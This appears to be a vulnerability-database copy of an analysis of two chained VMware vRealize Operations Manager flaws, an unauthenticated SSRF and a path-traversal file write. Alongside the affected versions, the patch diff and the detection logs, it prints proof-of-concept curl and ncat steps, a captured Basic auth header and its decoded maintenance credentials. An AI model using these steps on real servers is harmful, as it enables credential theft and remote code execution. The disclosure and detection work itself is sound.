Lucene search

HistoryMar 31, 2021 - 12:00 a.m.

VMware vRealize Operations Manager SSRF和文件读取漏洞(CVE-2021-21975 CVE-2021-21983)



On March 30, 2021, VMware published a security advisory for CVE-2021-21975 and CVE-2021-21983, two chainable vulnerabilities in its vRealize Operations Manager product. CVE-2021-21975 is an unauthenticated server-side request forgery (SSRF), while CVE-2021-21983 is an authenticated arbitrary file write. Successfully chaining both vulnerabilities achieves unauthenticated remote code execution (RCE) in vRealize Operations Manager and any product using it as a component.

At the time of public disclosure, Positive Technologies tweeted about CVE-2021-21975 and CVE-2021-21983, which were both discovered by their researcher Egor Dimitrenko.

Affected products

  • vRealize Operations Manager
    • 7.0.0
    • 7.5.0
    • 8.0.0, 8.0.1
    • 8.1.0, 8.1.1
    • 8.2.0
    • 8.3.0
  • VMware Cloud Foundation (vROps)
    • 3.x
    • 4.x
  • vRealize Suite Lifecycle Manager (vROps)
    • 8.x

Technical analysis

CVE-2021-21975 is the primary focus of this analysis.

CVE-2021-21975 (SSRF)

/nodes/thumbprints (mapped to /casa/nodes/thumbprints) is an unauthenticated endpoint.

  <sec:http pattern="/nodes/thumbprints" security='none'/>

It accepts a POST request whose body is a JSON array of network address strings.

  @RequestMapping(value = {"/nodes/thumbprints"}, method = {RequestMethod.POST})
  public ArrayList<ThumbprintResource> getNodesThumbprints(@RequestBody String[] addresses) {
    return this.clusterDefService.getNodesThumbprints(new HashSet(Arrays.asList((Object[])addresses)));

Each address is sent a crafted GET request, leading to a partially controlled SSRF.

  public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) {
    ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>();
    if (null == addresses) {
      return ipToThumbprint;

    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate);

    HttpMapResponse[] responses = f.execute();

    for (HttpMapResponse resp : responses) {
      if (resp.getHttpCode() == HttpStatus.OK.value()) {
        String data = resp.getDocument().replace('"', ' ').trim();
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data));
      } else {
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null));

    return ipToThumbprint;


The provided workaround provided enough information to develop a PoC.

wvu@kharak:~$ curl -k -H "Content-Type: application/json" -d '[""]'

Appending # (presumably URI fragment syntax) to the SSRF URI allows for full control of the GET request path.

wvu@kharak:~$ ncat -lkv --ssl 8443
Ncat: Version 7.91 ( )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: DD68 63E6 C329 1851 F74F 797A F684 7823 207A 55E7
Ncat: Listening on :::8443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
GET / HTTP/1.1
Accept: application/xml, application/json
Content-Type: application/json
Accept-Charset: big5, big5-hkscs, cesu-8, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm-thai, ibm00858, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01147, ibm01148, ibm01149, ibm037, ibm1026, ibm1047, ibm273, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibm424, ibm437, ibm500, ibm775, ibm850, ibm852, ibm855, ibm857, ibm860, ibm861, ibm862, ibm863, ibm864, ibm865, ibm866, ibm868, ibm869, ibm870, ibm871, ibm918, iso-2022-cn, iso-2022-jp, iso-2022-jp-2, iso-2022-kr, iso-8859-1, iso-8859-13, iso-8859-15, iso-8859-2, iso-8859-3, iso-8859-4, iso-8859-5, iso-8859-6, iso-8859-7, iso-8859-8, iso-8859-9, jis_x0201, jis_x0212-1990, koi8-r, koi8-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-16le, utf-32, utf-32be, utf-32le, utf-8, windows-1250, windows-1251, windows-1252, windows-1253, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-big5-hkscs-2001, x-big5-solaris, x-compound_text, x-euc-jp-linux, x-euc-tw, x-eucjp-open, x-ibm1006, x-ibm1025, x-ibm1046, x-ibm1097, x-ibm1098, x-ibm1112, x-ibm1122, x-ibm1123, x-ibm1124, x-ibm1166, x-ibm1364, x-ibm1381, x-ibm1383, x-ibm300, x-ibm33722, x-ibm737, x-ibm833, x-ibm834, x-ibm856, x-ibm874, x-ibm875, x-ibm921, x-ibm922, x-ibm930, x-ibm933, x-ibm935, x-ibm937, x-ibm939, x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm948, x-ibm949, x-ibm949c, x-ibm950, x-ibm964, x-ibm970, x-iscii91, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-8859-11, x-jis0208, x-jisautodetect, x-johab, x-macarabic, x-maccentraleurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x-macthai, x-macturkish, x-macukraine, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs-xp, x-mswin-936, x-pck, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-utf-32le-bom, x-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-iso2022jp
X-VSCM-Request-Id: ak00003Y
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_212
Connection: keep-alive

Note the Authorization: Basic header, which is present in older vulnerable versions but missing from 8.3.0. The Base64 bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY= decodes to the credentials maintenanceAdmin:RfdsxK/5M4MSk2si174KIhDV.

CVE-2021-21983 (file write)

CVE-2021-21983 is a path traversal in the /casa/private/config/slice/ha/certificate endpoint.

  @RequestMapping(value = {"/private/config/slice/ha/certificate"}, method = {RequestMethod.POST})
  @Auditable(category = Auditable.Category.CONFIG_SLICE_CERTIFICATE, auditMessage = "Accepting replicated certificate from Master slice")
  public void handleCertificateUpload(@RequestParam("name") String name, @RequestParam("file") MultipartFile multiPartFile) {
    try {
      this.certificateService.handleCertificateFile(multiPartFile, name);
    } catch (Exception e) {
      this.log.error("Error handling replica certificate upload: {}", e);
      throw new CasaException(e, "Failed to upload replica certificate");
   void handleCertificateFile(MultipartFile multiPartFile, String fileName) {
+    if (fileName == null || !fileName.equals("cakey.pem")) {
+      throw new CasaException("Wrong cert file name is provided");
+    }
     File certFile = new File(this.certDirPath, fileName);

     try {

       certFile.setExecutable(false, false);
     } catch (Exception e) {
       throw new CasaException("Error writing Certificate file: " + certFile.getAbsolutePath(), e);


wvu@kharak:~$ curl -kH "Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=" -F name=../../../../../tmp/vulnerable -F "file=@-; filename=vulnerable" <<<vulnerable
root@vRealizeClusterNode [ /tmp ]# ls -l vulnerable
-rw-r--r-- 1 admin admin 11 Apr  5 22:18 vulnerable
root@vRealizeClusterNode [ /tmp ]# cat vulnerable
root@vRealizeClusterNode [ /tmp ]#


Numerous log files can be found in /usr/lib/vmware-casa/casa-webapp/logs. The file /usr/lib/vmware-casa/casa-webapp/logs/casa.log is of particular interest for tracking suspicious requests.

2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-]  INFO - Request POST /casa/nodes/thumbprints from New request id ak0000BL
2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-]  INFO - execute, hosts=[], op=GET, relativeUrl=/node/thumbprint, doc={}
2021-04-03 07:58:33,116 [ak0000BL] [pool-36-thread-1]  INFO - Making HTTP call to url=
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG - HTTP GET
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG - Accept=[text/plain, application/json, application/*+json, */*]
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG - Writing [{}] as "application/json"
2021-04-03 07:58:33,118 [ak0000BL] [pool-36-thread-1]  INFO - Maintenance User credentials initialized
2021-04-03 07:58:43,114 [ak0000BL] [ajp-nio-]  WARN - Error retrieving HttpTask future: java.util.concurrent.CancellationException
2021-04-03 07:58:43,116 [ak0000BL] [ajp-nio-]  INFO - Request POST /casa/nodes/thumbprints: Done
2021-04-05 22:18:22,066 [        ] [ajp-nio-]  INFO - Authenticated maintenance user 'maintenanceAdmin'
2021-04-05 22:18:22,066 [ak0002Q9] [ajp-nio-]  INFO - Request POST /casa/private/config/slice/ha/certificate from New request id ak0002Q9
2021-04-05 22:18:22,067 [ak0002Q9] [ajp-nio-]  INFO - Request POST /casa/private/config/slice/ha/certificate: Done

Note that the SSRF most likely requires a callback address in order to extract the Authorization: Basic header and any credentials it contains.


Please see the Response Matrix in the advisory for fixed versions and workarounds.


How to find holes in your network?

Try incredible fast Vulners Perimeter Scanner and find vulnerabilities and unnecessary ip and ports in network devices inside your network before anyone else.

Try Network Scanner
Related for SSV:99173